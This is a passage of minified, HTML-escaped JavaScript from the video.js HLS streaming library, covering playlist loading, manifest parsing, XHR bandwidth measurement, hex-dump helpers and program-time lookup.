duration(playlist);if(null===expired)return null;expired=expired||0;var lastSegmentEndTime=intervalDuration(playlist,playlist.mediaSequence+playlist.segments.length,expired);return useSafeLiveEnd&amp;&amp;(lastSegmentEndTime-=liveEdgePadding=&quot;number&quot;==typeof liveEdgePadding?liveEdgePadding:liveEdgeDelay(null,playlist)),Math.max(0,lastSegmentEndTime)},isBlacklisted=function(playlist){return playlist.excludeUntil&amp;&amp;playlist.excludeUntil&gt;Date.now()},isIncompatible=function(playlist){return playlist.excludeUntil&amp;&amp;playlist.excludeUntil===1/0},isEnabled=function(playlist){var blacklisted=isBlacklisted(playlist);return!playlist.disabled&amp;&amp;!blacklisted},hasAttribute=function(attr,playlist){return playlist.attributes&amp;&amp;playlist.attributes[attr]},isLowestEnabledRendition=function(master,media){if(1===master.playlists.length)return!0;var currentBandwidth=media.attributes.BANDWIDTH||Number.MAX_VALUE;return 0===master.playlists.filter((function(playlist){return!!isEnabled(playlist)&amp;&amp;(playlist.attributes.BANDWIDTH||0)&lt;currentBandwidth})).length},playlistMatch=function(a,b){return!(!a&amp;&amp;!b||!a&amp;&amp;b||a&amp;&amp;!b)&amp;&amp;(a===b||(!(!a.id||!b.id||a.id!==b.id)||(!(!a.resolvedUri||!b.resolvedUri||a.resolvedUri!==b.resolvedUri)||!(!a.uri||!b.uri||a.uri!==b.uri))))},someAudioVariant=function(master,callback){var AUDIO=master&amp;&amp;master.mediaGroups&amp;&amp;master.mediaGroups.AUDIO||{},found=!1;for(var groupName in AUDIO){for(var label in AUDIO[groupName])if(found=callback(AUDIO[groupName][label]))break;if(found)break}return!!found},isAudioOnly=function(master){if(!master||!master.playlists||!master.playlists.length)return someAudioVariant(master,(function(variant){return variant.playlists&amp;&amp;variant.playlists.length||variant.uri}));for(var _loop=function(i){var playlist=master.playlists[i],CODECS=playlist.attributes&amp;&amp;playlist.attributes.CODECS;return CODECS&amp;&amp;CODECS.split(&quot;,&quot;).every((function(c){return isAudioCodec(c)}))||someAudioVariant(master,(function(variant){return playlistMatch(playlist,variant)}))?&quot;continue&quot;:{v:!1}},i=0;i&lt;master.playlists.length;i++){var _ret=_loop(i);if(&quot;continue&quot;!==_ret&amp;&amp;&quot;object&quot;==typeof _ret)return _ret.v}return!0},Playlist={liveEdgeDelay:liveEdgeDelay,duration:duration,seekable:function(playlist,expired,liveEdgePadding){var seekableStart=expired||0,seekableEnd=playlistEnd(playlist,expired,!0,liveEdgePadding);return null===seekableEnd?createTimeRange():createTimeRange(seekableStart,seekableEnd)},getMediaInfoForTime:function(_ref4){for(var playlist=_ref4.playlist,currentTime=_ref4.currentTime,startingSegmentIndex=_ref4.startingSegmentIndex,startingPartIndex=_ref4.startingPartIndex,startTime=_ref4.startTime,experimentalExactManifestTimings=_ref4.experimentalExactManifestTimings,time=currentTime-startTime,partsAndSegments=getPartsAndSegments(playlist),startIndex=0,i=0;i&lt;partsAndSegments.length;i++){var partAndSegment=partsAndSegments[i];if(startingSegmentIndex===partAndSegment.segmentIndex&amp;&amp;(&quot;number&quot;!=typeof startingPartIndex||&quot;number&quot;!=typeof partAndSegment.partIndex||startingPartIndex===partAndSegment.partIndex)){startIndex=i;break}}if(time&lt;0){if(startIndex&gt;0)for(var _i2=startIndex-1;_i2&gt;=0;_i2--){var _partAndSegment=partsAndSegments[_i2];if(time+=_partAndSegment.duration,experimentalExactManifestTimings){if(time&lt;0)continue}else if(time+.03333333333333333&lt;=0)continue;return{partIndex:_partAndSegment.partIndex,segmentIndex:_partAndSegment.segmentIndex,startTime:startTime-sumDurations({defaultDuration:playlist.targetDuration,durationList:partsAndSegments,startIndex:startIndex,endIndex:_i2})}}return{partIndex:partsAndSegments[0]&amp;&amp;partsAndSegments[0].partIndex||null,segmentIndex:partsAndSegments[0]&amp;&amp;partsAndSegments[0].segmentIndex||0,startTime:currentTime}}if(startIndex&lt;0){for(var _i3=startIndex;_i3&lt;0;_i3++)if((time-=playlist.targetDuration)&lt;0)return{partIndex:partsAndSegments[0]&amp;&amp;partsAndSegments[0].partIndex||null,segmentIndex:partsAndSegments[0]&amp;&amp;partsAndSegments[0].segmentIndex||0,startTime:currentTime};startIndex=0}for(var _i4=startIndex;_i4&lt;partsAndSegments.length;_i4++){var _partAndSegment2=partsAndSegments[_i4];if(time-=_partAndSegment2.duration,experimentalExactManifestTimings){if(time&gt;0)continue}else if(time-.03333333333333333&gt;=0)continue;return{partIndex:_partAndSegment2.partIndex,segmentIndex:_partAndSegment2.segmentIndex,startTime:startTime+sumDurations({defaultDuration:playlist.targetDuration,durationList:partsAndSegments,startIndex:startIndex,endIndex:_i4})}}return{segmentIndex:partsAndSegments[partsAndSegments.length-1].segmentIndex,partIndex:partsAndSegments[partsAndSegments.length-1].partIndex,startTime:currentTime}},isEnabled:isEnabled,isDisabled:function(playlist){return playlist.disabled},isBlacklisted:isBlacklisted,isIncompatible:isIncompatible,playlistEnd:playlistEnd,isAes:function(media){for(var i=0;i&lt;media.segments.length;i++)if(media.segments[i].key)return!0;return!1},hasAttribute:hasAttribute,estimateSegmentRequestTime:function(segmentDuration,bandwidth,playlist,bytesReceived){return void 0===bytesReceived&amp;&amp;(bytesReceived=0),hasAttribute(&quot;BANDWIDTH&quot;,playlist)?(segmentDuration*playlist.attributes.BANDWIDTH-8*bytesReceived)/bandwidth:NaN},isLowestEnabledRendition:isLowestEnabledRendition,isAudioOnly:isAudioOnly,playlistMatch:playlistMatch,segmentDurationWithParts:segmentDurationWithParts},log=videojs.log,createPlaylistID=function(index,uri){return index+&quot;-&quot;+uri},forEachMediaGroup=function(master,callback){master.mediaGroups&amp;&amp;[&quot;AUDIO&quot;,&quot;SUBTITLES&quot;].forEach((function(mediaType){if(master.mediaGroups[mediaType])for(var groupKey in master.mediaGroups[mediaType])for(var labelKey in master.mediaGroups[mediaType][groupKey]){var mediaProperties=master.mediaGroups[mediaType][groupKey][labelKey];callback(mediaProperties,mediaType,groupKey,labelKey)}}))},setupMediaPlaylist=function(_ref2){var playlist=_ref2.playlist,uri=_ref2.uri,id=_ref2.id;playlist.id=id,playlist.playlistErrors_=0,uri&amp;&amp;(playlist.uri=uri),playlist.attributes=playlist.attributes||{}},addPropertiesToMaster=function(master,uri){master.uri=uri;for(var i=0;i&lt;master.playlists.length;i++)if(!master.playlists[i].uri){var phonyUri=&quot;placeholder-uri-&quot;+i;master.playlists[i].uri=phonyUri}var audioOnlyMaster=isAudioOnly(master);forEachMediaGroup(master,(function(properties,mediaType,groupKey,labelKey){var groupId=&quot;placeholder-uri-&quot;+mediaType+&quot;-&quot;+groupKey+&quot;-&quot;+labelKey;if(!properties.playlists||!properties.playlists.length){if(audioOnlyMaster&amp;&amp;&quot;AUDIO&quot;===mediaType&amp;&amp;!properties.uri)for(var _i=0;_i&lt;master.playlists.length;_i++){var p=master.playlists[_i];if(p.attributes&amp;&amp;p.attributes.AUDIO&amp;&amp;p.attributes.AUDIO===groupKey)return}properties.playlists=[_extends_1({},properties)]}properties.playlists.forEach((function(p,i){var id=createPlaylistID(i,groupId);p.uri?p.resolvedUri=p.resolvedUri||resolveUrl(master.uri,p.uri):(p.uri=0===i?groupId:id,p.resolvedUri=p.uri),p.id=p.id||id,p.attributes=p.attributes||{},master.playlists[p.id]=p,master.playlists[p.uri]=p}))})),function(master){for(var i=master.playlists.length;i--;){var playlist=master.playlists[i];setupMediaPlaylist({playlist:playlist,id:createPlaylistID(i,playlist.uri)}),playlist.resolvedUri=resolveUrl(master.uri,playlist.uri),master.playlists[playlist.id]=playlist,master.playlists[playlist.uri]=playlist,playlist.attributes.BANDWIDTH||log.warn(&quot;Invalid playlist STREAM-INF detected. Missing BANDWIDTH attribute.&quot;)}}(master),function(master){forEachMediaGroup(master,(function(properties){properties.uri&amp;&amp;(properties.resolvedUri=resolveUrl(master.uri,properties.uri))}))}(master)},mergeOptions$2=videojs.mergeOptions,EventTarget$1=videojs.EventTarget,updateSegment=function(a,b){if(!a)return b;var result=mergeOptions$2(a,b);if(a.preloadHints&amp;&amp;!b.preloadHints&amp;&amp;delete result.preloadHints,a.parts&amp;&amp;!b.parts)delete result.parts;else if(a.parts&amp;&amp;b.parts)for(var i=0;i&lt;b.parts.length;i++)a.parts&amp;&amp;a.parts[i]&amp;&amp;(result.parts[i]=mergeOptions$2(a.parts[i],b.parts[i]));return!a.skipped&amp;&amp;b.skipped&amp;&amp;(result.skipped=!1),a.preload&amp;&amp;!b.preload&amp;&amp;(result.preload=!1),result},resolveSegmentUris=function(segment,baseUri){!segment.resolvedUri&amp;&amp;segment.uri&amp;&amp;(segment.resolvedUri=resolveUrl(baseUri,segment.uri)),segment.key&amp;&amp;!segment.key.resolvedUri&amp;&amp;(segment.key.resolvedUri=resolveUrl(baseUri,segment.key.uri)),segment.map&amp;&amp;!segment.map.resolvedUri&amp;&amp;(segment.map.resolvedUri=resolveUrl(baseUri,segment.map.uri)),segment.map&amp;&amp;segment.map.key&amp;&amp;!segment.map.key.resolvedUri&amp;&amp;(segment.map.key.resolvedUri=resolveUrl(baseUri,segment.map.key.uri)),segment.parts&amp;&amp;segment.parts.length&amp;&amp;segment.parts.forEach((function(p){p.resolvedUri||(p.resolvedUri=resolveUrl(baseUri,p.uri))})),segment.preloadHints&amp;&amp;segment.preloadHints.length&amp;&amp;segment.preloadHints.forEach((function(p){p.resolvedUri||(p.resolvedUri=resolveUrl(baseUri,p.uri))}))},getAllSegments=function(media){var segments=media.segments||[],preloadSegment=media.preloadSegment;if(preloadSegment&amp;&amp;preloadSegment.parts&amp;&amp;preloadSegment.parts.length){if(preloadSegment.preloadHints)for(var i=0;i&lt;preloadSegment.preloadHints.length;i++)if(&quot;MAP&quot;===preloadSegment.preloadHints[i].type)return segments;preloadSegment.duration=media.targetDuration,preloadSegment.preload=!0,segments.push(preloadSegment)}return segments},isPlaylistUnchanged=function(a,b){return a===b||a.segments&amp;&amp;b.segments&amp;&amp;a.segments.length===b.segments.length&amp;&amp;a.endList===b.endList&amp;&amp;a.mediaSequence===b.mediaSequence&amp;&amp;a.preloadSegment===b.preloadSegment},updateMaster$1=function(master,newMedia,unchangedCheck){void 0===unchangedCheck&amp;&amp;(unchangedCheck=isPlaylistUnchanged);var result=mergeOptions$2(master,{}),oldMedia=result.playlists[newMedia.id];if(!oldMedia)return null;if(unchangedCheck(oldMedia,newMedia))return null;newMedia.segments=getAllSegments(newMedia);var mergedPlaylist=mergeOptions$2(oldMedia,newMedia);if(mergedPlaylist.preloadSegment&amp;&amp;!newMedia.preloadSegment&amp;&amp;delete mergedPlaylist.preloadSegment,oldMedia.segments){if(newMedia.skip){newMedia.segments=newMedia.segments||[];for(var i=0;i&lt;newMedia.skip.skippedSegments;i++)newMedia.segments.unshift({skipped:!0})}mergedPlaylist.segments=function(original,update,offset){var oldSegments=original.slice(),newSegments=update.slice();offset=offset||0;for(var currentMap,result=[],newIndex=0;newIndex&lt;newSegments.length;newIndex++){var oldSegment=oldSegments[newIndex+offset],newSegment=newSegments[newIndex];oldSegment?(currentMap=oldSegment.map||currentMap,result.push(updateSegment(oldSegment,newSegment))):(currentMap&amp;&amp;!newSegment.map&amp;&amp;(newSegment.map=currentMap),result.push(newSegment))}return result}(oldMedia.segments,newMedia.segments,newMedia.mediaSequence-oldMedia.mediaSequence)}mergedPlaylist.segments.forEach((function(segment){resolveSegmentUris(segment,mergedPlaylist.resolvedUri)}));for(var _i=0;_i&lt;result.playlists.length;_i++)result.playlists[_i].id===newMedia.id&amp;&amp;(result.playlists[_i]=mergedPlaylist);return result.playlists[newMedia.id]=mergedPlaylist,result.playlists[newMedia.uri]=mergedPlaylist,forEachMediaGroup(master,(function(properties,mediaType,groupKey,labelKey){if(properties.playlists)for(var _i2=0;_i2&lt;properties.playlists.length;_i2++)newMedia.id===properties.playlists[_i2].id&amp;&amp;(properties.playlists[_i2]=newMedia)})),result},refreshDelay=function(media,update){var segments=media.segments||[],lastSegment=segments[segments.length-1],lastPart=lastSegment&amp;&amp;lastSegment.parts&amp;&amp;lastSegment.parts[lastSegment.parts.length-1],lastDuration=lastPart&amp;&amp;lastPart.duration||lastSegment&amp;&amp;lastSegment.duration;return update&amp;&amp;lastDuration?1e3*lastDuration:500*(media.partTargetDuration||media.targetDuration||10)},PlaylistLoader=function(_EventTarget){function PlaylistLoader(src,vhs,options){var _this;if(void 0===options&amp;&amp;(options={}),_this=_EventTarget.call(this)||this,!src)throw new Error(&quot;A non-empty playlist URL or object is required&quot;);_this.logger_=logger(&quot;PlaylistLoader&quot;);var _options=options,_options$withCredenti=_options.withCredentials,withCredentials=void 0!==_options$withCredenti&amp;&amp;_options$withCredenti,_options$handleManife=_options.handleManifestRedirects,handleManifestRedirects=void 0!==_options$handleManife&amp;&amp;_options$handleManife;_this.src=src,_this.vhs_=vhs,_this.withCredentials=withCredentials,_this.handleManifestRedirects=handleManifestRedirects;var vhsOptions=vhs.options_;return _this.customTagParsers=vhsOptions&amp;&amp;vhsOptions.customTagParsers||[],_this.customTagMappers=vhsOptions&amp;&amp;vhsOptions.customTagMappers||[],_this.experimentalLLHLS=vhsOptions&amp;&amp;vhsOptions.experimentalLLHLS||!1,videojs.browser.IE_VERSION&amp;&amp;(_this.experimentalLLHLS=!1),_this.state=&quot;HAVE_NOTHING&quot;,_this.handleMediaupdatetimeout_=_this.handleMediaupdatetimeout_.bind(assertThisInitialized(_this)),_this.on(&quot;mediaupdatetimeout&quot;,_this.handleMediaupdatetimeout_),_this}inheritsLoose(PlaylistLoader,_EventTarget);var _proto=PlaylistLoader.prototype;return _proto.handleMediaupdatetimeout_=function(){var _this2=this;if(&quot;HAVE_METADATA&quot;===this.state){var media=this.media(),uri=resolveUrl(this.master.uri,media.uri);this.experimentalLLHLS&amp;&amp;(uri=function(uri,media){if(media.endList||!media.serverControl)return uri;var parameters={};if(media.serverControl.canBlockReload){var preloadSegment=media.preloadSegment,nextMSN=media.mediaSequence+media.segments.length;if(preloadSegment){var parts=preloadSegment.parts||[],nextPart=getKnownPartCount(media)-1;nextPart&gt;-1&amp;&amp;nextPart!==parts.length-1&amp;&amp;(parameters._HLS_part=nextPart),(nextPart&gt;-1||parts.length)&amp;&amp;nextMSN--}parameters._HLS_msn=nextMSN}if(media.serverControl&amp;&amp;media.serverControl.canSkipUntil&amp;&amp;(parameters._HLS_skip=media.serverControl.canSkipDateranges?&quot;v2&quot;:&quot;YES&quot;),Object.keys(parameters).length){var parsedUri=new window.URL(uri);[&quot;_HLS_skip&quot;,&quot;_HLS_msn&quot;,&quot;_HLS_part&quot;].forEach((function(name){parameters.hasOwnProperty(name)&amp;&amp;parsedUri.searchParams.set(name,parameters[name])})),uri=parsedUri.toString()}return uri}(uri,media)),this.state=&quot;HAVE_CURRENT_METADATA&quot;,this.request=this.vhs_.xhr({uri:uri,withCredentials:this.withCredentials},(function(error,req){if(_this2.request)return error?_this2.playlistRequestError(_this2.request,_this2.media(),&quot;HAVE_METADATA&quot;):void _this2.haveMetadata({playlistString:_this2.request.responseText,url:_this2.media().uri,id:_this2.media().id})}))}},_proto.playlistRequestError=function(xhr,playlist,startingState){var uri=playlist.uri,id=playlist.id;this.request=null,startingState&amp;&amp;(this.state=startingState),this.error={playlist:this.master.playlists[id],status:xhr.status,message:&quot;HLS playlist request error at URL: &quot;+uri+&quot;.&quot;,responseText:xhr.responseText,code:xhr.status&gt;=500?4:2},this.trigger(&quot;error&quot;)},_proto.parseManifest_=function(_ref){var _this3=this,url=_ref.url;return function(_ref){var onwarn=_ref.onwarn,oninfo=_ref.oninfo,manifestString=_ref.manifestString,_ref$customTagParsers=_ref.customTagParsers,customTagParsers=void 0===_ref$customTagParsers?[]:_ref$customTagParsers,_ref$customTagMappers=_ref.customTagMappers,customTagMappers=void 0===_ref$customTagMappers?[]:_ref$customTagMappers,experimentalLLHLS=_ref.experimentalLLHLS,parser=new Parser;onwarn&amp;&amp;parser.on(&quot;warn&quot;,onwarn),oninfo&amp;&amp;parser.on(&quot;info&quot;,oninfo),customTagParsers.forEach((function(customParser){return parser.addParser(customParser)})),customTagMappers.forEach((function(mapper){return parser.addTagMapper(mapper)})),parser.push(manifestString),parser.end();var manifest=parser.manifest;if(experimentalLLHLS||([&quot;preloadSegment&quot;,&quot;skip&quot;,&quot;serverControl&quot;,&quot;renditionReports&quot;,&quot;partInf&quot;,&quot;partTargetDuration&quot;].forEach((function(k){manifest.hasOwnProperty(k)&amp;&amp;delete manifest[k]})),manifest.segments&amp;&amp;manifest.segments.forEach((function(segment){[&quot;parts&quot;,&quot;preloadHints&quot;].forEach((function(k){segment.hasOwnProperty(k)&amp;&amp;delete segment[k]}))}))),!manifest.targetDuration){var targetDuration=10;manifest.segments&amp;&amp;manifest.segments.length&amp;&amp;(targetDuration=manifest.segments.reduce((function(acc,s){return Math.max(acc,s.duration)}),0)),onwarn&amp;&amp;onwarn(&quot;manifest has no targetDuration defaulting to &quot;+targetDuration),manifest.targetDuration=targetDuration}var parts=getLastParts(manifest);if(parts.length&amp;&amp;!manifest.partTargetDuration){var partTargetDuration=parts.reduce((function(acc,p){return Math.max(acc,p.duration)}),0);onwarn&amp;&amp;(onwarn(&quot;manifest has no partTargetDuration defaulting to &quot;+partTargetDuration),log.error(&quot;LL-HLS manifest has parts but lacks required #EXT-X-PART-INF:PART-TARGET value. See https://datatracker.ietf.org/doc/html/draft-pantos-hls-rfc8216bis-09#section-4.4.3.7. Playback is not guaranteed.&quot;)),manifest.partTargetDuration=partTargetDuration}return manifest}({onwarn:function(_ref2){var message=_ref2.message;return _this3.logger_(&quot;m3u8-parser warn for &quot;+url+&quot;: &quot;+message)},oninfo:function(_ref3){var message=_ref3.message;return _this3.logger_(&quot;m3u8-parser info for &quot;+url+&quot;: &quot;+message)},manifestString:_ref.manifestString,customTagParsers:this.customTagParsers,customTagMappers:this.customTagMappers,experimentalLLHLS:this.experimentalLLHLS})},_proto.haveMetadata=function(_ref4){var playlistString=_ref4.playlistString,playlistObject=_ref4.playlistObject,url=_ref4.url,id=_ref4.id;this.request=null,this.state=&quot;HAVE_METADATA&quot;;var playlist=playlistObject||this.parseManifest_({url:url,manifestString:playlistString});playlist.lastRequest=Date.now(),setupMediaPlaylist({playlist:playlist,uri:url,id:id});var update=updateMaster$1(this.master,playlist);this.targetDuration=playlist.partTargetDuration||playlist.targetDuration,this.pendingMedia_=null,update?(this.master=update,this.media_=this.master.playlists[id]):this.trigger(&quot;playlistunchanged&quot;),this.updateMediaUpdateTimeout_(refreshDelay(this.media(),!!update)),this.trigger(&quot;loadedplaylist&quot;)},_proto.dispose=function(){this.trigger(&quot;dispose&quot;),this.stopRequest(),window.clearTimeout(this.mediaUpdateTimeout),window.clearTimeout(this.finalRenditionTimeout),this.off()},_proto.stopRequest=function(){if(this.request){var oldRequest=this.request;this.request=null,oldRequest.onreadystatechange=null,oldRequest.abort()}},_proto.media=function(playlist,shouldDelay){var _this4=this;if(!playlist)return this.media_;if(&quot;HAVE_NOTHING&quot;===this.state)throw new Error(&quot;Cannot switch media playlist from &quot;+this.state);if(&quot;string&quot;==typeof playlist){if(!this.master.playlists[playlist])throw new Error(&quot;Unknown playlist URI: &quot;+playlist);playlist=this.master.playlists[playlist]}if(window.clearTimeout(this.finalRenditionTimeout),shouldDelay){var delay=(playlist.partTargetDuration||playlist.targetDuration)/2*1e3||5e3;this.finalRenditionTimeout=window.setTimeout(this.media.bind(this,playlist,!1),delay)}else{var startingState=this.state,mediaChange=!this.media_||playlist.id!==this.media_.id,masterPlaylistRef=this.master.playlists[playlist.id];if(masterPlaylistRef&amp;&amp;masterPlaylistRef.endList||playlist.endList&amp;&amp;playlist.segments.length)return this.request&amp;&amp;(this.request.onreadystatechange=null,this.request.abort(),this.request=null),this.state=&quot;HAVE_METADATA&quot;,this.media_=playlist,void(mediaChange&amp;&amp;(this.trigger(&quot;mediachanging&quot;),&quot;HAVE_MASTER&quot;===startingState?this.trigger(&quot;loadedmetadata&quot;):this.trigger(&quot;mediachange&quot;)));if(this.updateMediaUpdateTimeout_(refreshDelay(playlist,!0)),mediaChange){if(this.state=&quot;SWITCHING_MEDIA&quot;,this.request){if(playlist.resolvedUri===this.request.url)return;this.request.onreadystatechange=null,this.request.abort(),this.request=null}this.media_&amp;&amp;this.trigger(&quot;mediachanging&quot;),this.pendingMedia_=playlist,this.request=this.vhs_.xhr({uri:playlist.resolvedUri,withCredentials:this.withCredentials},(function(error,req){if(_this4.request){if(playlist.lastRequest=Date.now(),playlist.resolvedUri=resolveManifestRedirect(_this4.handleManifestRedirects,playlist.resolvedUri,req),error)return _this4.playlistRequestError(_this4.request,playlist,startingState);_this4.haveMetadata({playlistString:req.responseText,url:playlist.uri,id:playlist.id}),&quot;HAVE_MASTER&quot;===startingState?_this4.trigger(&quot;loadedmetadata&quot;):_this4.trigger(&quot;mediachange&quot;)}}))}}},_proto.pause=function(){this.mediaUpdateTimeout&amp;&amp;(window.clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null),this.stopRequest(),&quot;HAVE_NOTHING&quot;===this.state&amp;&amp;(this.started=!1),&quot;SWITCHING_MEDIA&quot;===this.state?this.media_?this.state=&quot;HAVE_METADATA&quot;:this.state=&quot;HAVE_MASTER&quot;:&quot;HAVE_CURRENT_METADATA&quot;===this.state&amp;&amp;(this.state=&quot;HAVE_METADATA&quot;)},_proto.load=function(shouldDelay){var _this5=this;this.mediaUpdateTimeout&amp;&amp;(window.clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null);var media=this.media();if(shouldDelay){var delay=media?(media.partTargetDuration||media.targetDuration)/2*1e3:5e3;this.mediaUpdateTimeout=window.setTimeout((function(){_this5.mediaUpdateTimeout=null,_this5.load()}),delay)}else this.started?media&amp;&amp;!media.endList?this.trigger(&quot;mediaupdatetimeout&quot;):this.trigger(&quot;loadedplaylist&quot;):this.start()},_proto.updateMediaUpdateTimeout_=function(delay){var _this6=this;this.mediaUpdateTimeout&amp;&amp;(window.clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null),this.media()&amp;&amp;!this.media().endList&amp;&amp;(this.mediaUpdateTimeout=window.setTimeout((function(){_this6.mediaUpdateTimeout=null,_this6.trigger(&quot;mediaupdatetimeout&quot;),_this6.updateMediaUpdateTimeout_(delay)}),delay))},_proto.start=function(){var _this7=this;if(this.started=!0,&quot;object&quot;==typeof this.src)return this.src.uri||(this.src.uri=window.location.href),this.src.resolvedUri=this.src.uri,void setTimeout((function(){_this7.setupInitialPlaylist(_this7.src)}),0);this.request=this.vhs_.xhr({uri:this.src,withCredentials:this.withCredentials},(function(error,req){if(_this7.request){if(_this7.request=null,error)return _this7.error={status:req.status,message:&quot;HLS playlist request error at URL: &quot;+_this7.src+&quot;.&quot;,responseText:req.responseText,code:2},&quot;HAVE_NOTHING&quot;===_this7.state&amp;&amp;(_this7.started=!1),_this7.trigger(&quot;error&quot;);_this7.src=resolveManifestRedirect(_this7.handleManifestRedirects,_this7.src,req);var manifest=_this7.parseManifest_({manifestString:req.responseText,url:_this7.src});_this7.setupInitialPlaylist(manifest)}}))},_proto.srcUri=function(){return&quot;string&quot;==typeof this.src?this.src:this.src.uri},_proto.setupInitialPlaylist=function(manifest){if(this.state=&quot;HAVE_MASTER&quot;,manifest.playlists)return this.master=manifest,addPropertiesToMaster(this.master,this.srcUri()),manifest.playlists.forEach((function(playlist){playlist.segments=getAllSegments(playlist),playlist.segments.forEach((function(segment){resolveSegmentUris(segment,playlist.resolvedUri)}))})),this.trigger(&quot;loadedplaylist&quot;),void(this.request||this.media(this.master.playlists[0]));var uri=this.srcUri()||window.location.href;this.master=function(media,uri){var id=createPlaylistID(0,uri),master={mediaGroups:{AUDIO:{},VIDEO:{},&quot;CLOSED-CAPTIONS&quot;:{},SUBTITLES:{}},uri:window.location.href,resolvedUri:window.location.href,playlists:[{uri:uri,id:id,resolvedUri:uri,attributes:{}}]};return master.playlists[id]=master.playlists[0],master.playlists[uri]=master.playlists[0],master}(0,uri),this.haveMetadata({playlistObject:manifest,url:uri,id:this.master.playlists[0].id}),this.trigger(&quot;loadedmetadata&quot;)},PlaylistLoader}(EventTarget$1),videojsXHR=videojs.xhr,mergeOptions$1=videojs.mergeOptions,callbackWrapper=function(request,error,response,callback){var reqResponse=&quot;arraybuffer&quot;===request.responseType?request.response:request.responseText;!error&amp;&amp;reqResponse&amp;&amp;(request.responseTime=Date.now(),request.roundTripTime=request.responseTime-request.requestTime,request.bytesReceived=reqResponse.byteLength||reqResponse.length,request.bandwidth||(request.bandwidth=Math.floor(request.bytesReceived/request.roundTripTime*8*1e3))),response.headers&amp;&amp;(request.responseHeaders=response.headers),error&amp;&amp;&quot;ETIMEDOUT&quot;===error.code&amp;&amp;(request.timedout=!0),error||request.aborted||200===response.statusCode||206===response.statusCode||0===response.statusCode||(error=new Error(&quot;XHR Failed with a response of: &quot;+(request&amp;&amp;(reqResponse||request.responseText)))),callback(error,request)},xhrFactory=function(){var xhr=function XhrFunction(options,callback){options=mergeOptions$1({timeout:45e3},options);var beforeRequest=XhrFunction.beforeRequest||videojs.Vhs.xhr.beforeRequest;if(beforeRequest&amp;&amp;&quot;function&quot;==typeof beforeRequest){var newOptions=beforeRequest(options);newOptions&amp;&amp;(options=newOptions)}var request=(!0===videojs.Vhs.xhr.original?videojsXHR:videojs.Vhs.xhr)(options,(function(error,response){return callbackWrapper(request,error,response,callback)})),originalAbort=request.abort;return request.abort=function(){return request.aborted=!0,originalAbort.apply(request,arguments)},request.uri=options.uri,request.requestTime=Date.now(),request};return xhr.original=!0,xhr},segmentXhrHeaders=function(segment){var byterange,byterangeEnd,headers={};return segment.byterange&amp;&amp;(headers.Range=(byterange=segment.byterange,byterangeEnd=byterange.offset+byterange.length-1,&quot;bytes=&quot;+byterange.offset+&quot;-&quot;+byterangeEnd)),headers},textRange=function(range,i){return range.start(i)+&quot;-&quot;+range.end(i)},formatHexString=function(e,i){var value=e.toString(16);return&quot;00&quot;.substring(0,2-value.length)+value+(i%2?&quot; &quot;:&quot;&quot;)},formatAsciiString=function(e){return e&gt;=32&amp;&amp;e&lt;126?String.fromCharCode(e):&quot;.&quot;},createTransferableMessage=function(message){var transferable={};return Object.keys(message).forEach((function(key){var value=message[key];ArrayBuffer.isView(value)?transferable[key]={bytes:value.buffer,byteOffset:value.byteOffset,byteLength:value.byteLength}:transferable[key]=value})),transferable},initSegmentId=function(initSegment){var byterange=initSegment.byterange||{length:1/0,offset:0};return[byterange.length,byterange.offset,initSegment.resolvedUri].join(&quot;,&quot;)},segmentKeyId=function(key){return key.resolvedUri},hexDump=function(data){for(var bytes=Array.prototype.slice.call(data),result=&quot;&quot;,j=0;j&lt;bytes.length/16;j++)result+=bytes.slice(16*j,16*j+16).map(formatHexString).join(&quot;&quot;)+&quot; &quot;+bytes.slice(16*j,16*j+16).map(formatAsciiString).join(&quot;&quot;)+&quot;\n&quot;;return result},utils=Object.freeze({__proto__:null,createTransferableMessage:createTransferableMessage,initSegmentId:initSegmentId,segmentKeyId:segmentKeyId,hexDump:hexDump,tagDump:function(_ref){var bytes=_ref.bytes;return hexDump(bytes)},textRanges:function(ranges){var i,result=&quot;&quot;;for(i=0;i&lt;ranges.length;i++)result+=textRange(ranges,i)+&quot; &quot;;return result}}),getProgramTime=function(_ref){var playlist=_ref.playlist,_ref$time=_ref.time,time=void 0===_ref$time?void 0:_ref$time,callback=_ref.callback;if(!callback)throw new Error(&quot;getProgramTime: callback must be provided&quot;);if(!playlist||void 0===time)return callback({message:&quot;getProgramTime: playlist and time must be provided&quot;});var matchedSegment=function(time,playlist){if(!playlist||!playlist.segments||0===playlist.segments.length)return null;for(var segment,segmentEnd=0,i=0;i&lt;playlist.segments.length&amp;&amp;!(time&lt;=(segmentEnd=(segment=playlist.segments[i]).videoTimingInfo?segment.videoTimingInfo.transmuxedPresentationEnd:segmentEnd+segment.duration));i++);var lastSegment=playlist.segments[playlist.segments.length-1];if(lastSegment.videoTimingInfo&amp;&amp;lastSegment.videoTimingInfo.transmuxedPresentationEnd&lt;time)return null;if(time&gt;segmentEnd){if(time&gt;segmentEnd+.25*lastSegment.duration)return null;segment=lastSegment}return{segment:segment,estimatedStart:segment.videoTimingInfo?segment.videoTimingInfo.transmuxedPresentationStart:segmentEnd-segment.duration,type:segment.videoTimingInfo?&quot;accurate&quot;:&quot;estimate&quot;}}(time,playlist);if(!matchedSegment)return callback({message:&quot;valid programTime was not found&quot;});if(&quot;estimate&quot;===matchedSegment.type)return callback({message:&quot;Accurate programTime could not be determined. Please seek to e.seekTime and try again&quot;,seekTime:matchedSegment.estimatedStart});var programTimeObject={mediaSeconds:time},programTime=function(playerTime,segment){if(!segment.dateTimeObject)return null;var transmuxerPrependedSeconds=segment.videoTimingInfo.transmuxerPrependedSeconds,offsetFromSegmentStart=playerTime-(segment.videoTimingInfo.transmuxedPresentationStart+transmuxerPrependedSeconds);return new Date(segment.dateTimeObject.getTime()+1e3*offsetFromSegmentStart)}(time,matchedSegment.segment);return programTime&amp;&amp;(programTimeObject.programDateTime=programTime.toISOString()),callback(null,programTimeObject)},seekToProgramTime=function seekToProgramTime(_ref2){var programTime=_ref2.programTime,playlist=_ref2.playlist,_ref2$retryCount=_ref2.retryCount,retryCount=void 0===_ref2$retryCount?2:_ref2$retryCount,seekTo=_ref2.seekTo,_ref2$pauseAfterSeek=_ref2.pauseAfterSeek,pauseAfterSeek=void 0===_ref2$pauseAfterSeek||_ref2$pauseAfterSeek,tech=_ref2.tech,callback=_ref2.callback;if(!callback)throw new Error(&quot;seekToProgramTime: callback must be provided&quot;);if(void 0===programTime||!playlist||!seekTo)return callback({message:&quot;seekToProgramTime: programTime, seekTo and playlist must be 